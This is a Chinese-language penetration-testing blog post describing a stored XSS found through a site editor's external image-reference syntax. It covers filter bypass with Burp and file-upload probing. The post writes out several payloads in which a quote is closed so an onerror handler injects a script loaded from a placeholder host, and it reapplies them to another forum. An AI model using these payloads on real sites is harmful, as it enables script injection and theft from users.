漏洞挖掘 | 一處圖片引用功能導致的XSS

  • 2019 年 12 月 12 日
  • 筆記

初步測試

一開始嘗試XSS,發現程式有過濾,提交均顯示Tags are not permitted,最後測出來的是過濾 < ,不過濾 >

因為提示速度比較快,猜測前端有一層檢測。嘗試繞過前端檢測,burp攔截正常提交的內容,替換xss payload後發送,發現會自動跳轉回首頁,由此發現程式後端也有內容檢測,這裡直接xss暫時行不通。

查看編輯器的其他功能:

圖片上傳: 可上傳aspx(其他可能解析後綴均已嘗試),不能解析並跳轉至首頁。 可上傳html並解析,這種方式構造的xss通常需要主動攻擊,且攻擊時易被管理員察覺到異常,暫不考慮。

表情功能:沒什麼可利用的。

柳暗花明又一村

當看到編輯器提示的 img 外部圖片引用方式時引起了我的注意,這裡感覺可以操作一下:

正常測試

先來看下正常引用方式時前端的顯示,鏈接被帶入到src中(logo前文字涉及域名,打碼):

[img|XSSURL|xxxxx Logo]

帶入payload

把xss payload 放在鏈接的位置再看一下:

常規的payload:  <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>  構造的payload:  [img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo]

提交後審查元素髮現為如下顯示:

嘗試閉合

嘗試閉合 x 處的雙引號,讓 onerror 逃逸出來:

[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|hello]

這裡提交後發現payload並沒有執行成功,仔細看發現程式輸出時分別在 onerror= 和 ; 後面加了雙引號。

閉合成功

直接給個 > 讓它閉合,雖然成功載入了,但是頁面顯示會有錯誤,這樣十分容易被發現倪端,不夠完美。

[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>|hello]

換個思路通過閉合掉 ; 後面的雙引號,顯示效果如下:

[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]

最終在沒有任何錯誤內容顯示的情況下成功執行了xss payload:

看到這裡可能有人就會想,這種案例觸發的xss是不是很少存在,因為畢竟不是每個編輯器都用這種圖片外鏈引用方式,那麼請繼續看下面。

靈活運用

這幾天在搞一個gangdu的論壇,在回復功能處,又遇到了同樣的問題。

本來這個功能應該只能放圖片鏈接的,但是這裡插入的鏈接格式和內容並沒有做校驗。

x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';

這裡直接把payload放進去,看下前端顯示

同樣的思路,這裡直接閉合就好了

x" onerror="s=createElement('script');body.appendChild(s);s.src='XSSURL';

成功載入payload

平時滲透的時候,看到功能點不要上去就是蠻幹,先預想下這個功能是大概怎麼實現的,然後思路猥瑣一點,心細一點,往往會有意想不到的收穫的,就寫到這裡吧。

Tags: